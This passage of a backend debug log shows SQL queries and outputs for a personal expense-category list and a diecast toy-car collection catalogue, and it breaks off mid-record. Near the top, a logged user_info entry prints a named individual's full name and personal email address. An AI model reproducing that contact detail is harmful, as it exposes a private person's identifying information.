2026-07-13T10:23:52.948Z server-connect:app options: { provider: 'security' }
2026-07-13T10:23:52.948Z server-connect:output identity: 1
2026-07-13T10:23:52.948Z server-connect:app Executing action step restrict
2026-07-13T10:23:52.948Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:23:52.949Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-07-13T10:23:52.949Z server-connect:output restrict: undefined
2026-07-13T10:23:52.949Z server-connect:app Executing action step select
2026-07-13T10:23:52.950Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:23:52.951Z server-connect:output restrict: undefined
2026-07-13T10:23:52.951Z server-connect:app Executing action step select
2026-07-13T10:23:52.951Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:23:52.954Z server-connect:output list: [
  {
    item_name: 'Budwiser Beer',
    item_id: 502,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Godfather Beer',
    item_id: 536,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Bira Super Strong Beer',
    item_id: 544,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Tuborg Strong',
    item_id: 562,
    category_name: 'Alcohol'
  },
  { item_name: 'Breezers', item_id: 641, category_name: 'Alcohol' },
  { item_name: 'Vodka', item_id: 644, category_name: 'Alcohol' },
  {
    item_name: '6 Fields Beer',
    item_id: 720,
    category_name: 'Alcohol'
  },
  {
    item_name: 'Kingfisher Beer',
    item_id: 766,
    category_name: 'Alcohol'
  },
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'School Dress', item_id: 662, category_name: 'Apparel' },
  {
    item_name: 'Jocket Trouser',
    item_id: 734,
    category_name: 'Apparel'
  },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Product',
    item_id: 162,
    category_name: 'Baby Care'
  },
  { item_name: 'Pampers', item_id: 181, category_name: 'Baby Care' },
  {
    item_name: 'Feeder Bottle',
    item_id: 187,
    category_name: 'Baby Care'
  },
  {
    item_name: 'Mamy Poko Pankts',
    item_id: 196,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Socks', item_id: 247, category_name: 'Baby Care' },
  {
    item_name: 'Johnson Baby Cream',
    item_id: 249,
    category_name: 'Baby Care'
  },
  { item_name: 'Baby Items', item_id: 250, category_name: 'Baby Care' },
  { item_name: 'Huggies', item_id: 290, category_name: 'Baby Care' },
  {
    item_name: 'Cold Drink',
    item_id: 59,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tea',
    item_id: 100,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimu soda',
    item_id: 141,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Flavored Mojito',
    item_id: 281,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Rajbhog Shake',
    item_id: 294,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Mojito',
    item_id: 296,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lassi',
    item_id: 298,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Choco Freaky Shake',
    item_id: 317,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Thick Shake',
    item_id: 331,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Shake',
    item_id: 333,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Labab shake',
    item_id: 349,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mix Fruit Shake',
    item_id: 351,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Chochlate Shake',
    item_id: 352,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Strawberry Freaky shake',
    item_id: 357,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Black Current shake',
    item_id: 361,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mango Juice',
    item_id: 400,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Monster Energy Drink',
    item_id: 420,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Real Fruit Juice',
    item_id: 466,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Lays Classic',
    item_id: 467,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Tonic WaterSchweppes',
    item_id: 478,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hell Energy Drink',
    item_id: 479,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Soda',
    item_id: 485,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Kesar Pista Shake',
    item_id: 497,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Predator Energy Drink',
    item_id: 516,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Sting Enery Drink',
    item_id: 520,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Mint Soda Ice cream',
    item_id: 522,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bombay Banta',
    item_id: 528,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Coke Sugar Free',
    item_id: 537,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Charged Energy Drink',
    item_id: 545,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Orange Juice',
    item_id: 576,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Alo Energy Drink',
    item_id: 659,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Iced Americano Cold Coffee',
    item_id: 660,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Gulkand Pan Shake',
    item_id: 700,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Hersheys Milk Shake',
    item_id: 716,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Motherdairy Masala Chach',
    item_id: 718,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Bale Juice',
    item_id: 723,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Anar Juice',
    item_id: 726,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Nimbu Juice',
    item_id: 731,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'Badam Shake',
    item_id: 733,
    category_name: 'Beverages & Shakes'
  },
  {
    item_name: 'House Premium',
    item_id: 45,
    category_name: 'Bills, EMIs & Subscriptions'
  },
  ... 600 more items
]
2026-07-13T10:23:52.955Z server-connect:output restrict: undefined
2026-07-13T10:23:52.955Z server-connect:app Executing action step select
2026-07-13T10:23:52.956Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-07-13T10:23:52.957Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-07-13T10:23:52.957Z server-connect:app Executing action step select
2026-07-13T10:23:52.957Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:23:52.958Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-07-13T10:23:52.959Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-07-13T10:23:52.961Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-07-13T10:23:52.961Z server-connect:app Executing action step select
2026-07-13T10:23:52.961Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-07-13T10:23:52.962Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-07-13T10:23:52.964Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-07-13T10:23:52.966Z server-connect:router Serving serverConnect /api/diecast/list
2026-07-13T10:23:52.966Z server-connect:app Executing action step identify
2026-07-13T10:23:52.966Z server-connect:app options: { provider: 'security' }
2026-07-13T10:23:52.966Z server-connect:output identity: 1
2026-07-13T10:23:52.967Z server-connect:app Executing action step restrict
2026-07-13T10:23:52.967Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-07-13T10:23:52.967Z server-connect:output restrict: undefined
2026-07-13T10:23:52.967Z server-connect:app Executing action step paged
2026-07-13T10:23:52.967Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-07-13T10:23:52.976Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 168,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 191,
      model_name: 'Test 123',
      release_year: 2009,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-07-07T18:30:00.000Z',
      price: '179.00',
      brand: 'Jams Toys',
      series: 'Majorette Castheads Gift Set',
      brand_id: 191,
      series_id: 195,
      case: 'A',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 1,
      yt_video_created: 1,
      photoshoot: 1,
      overview_created: 1,
      diecast_images: []
    },
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: null,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
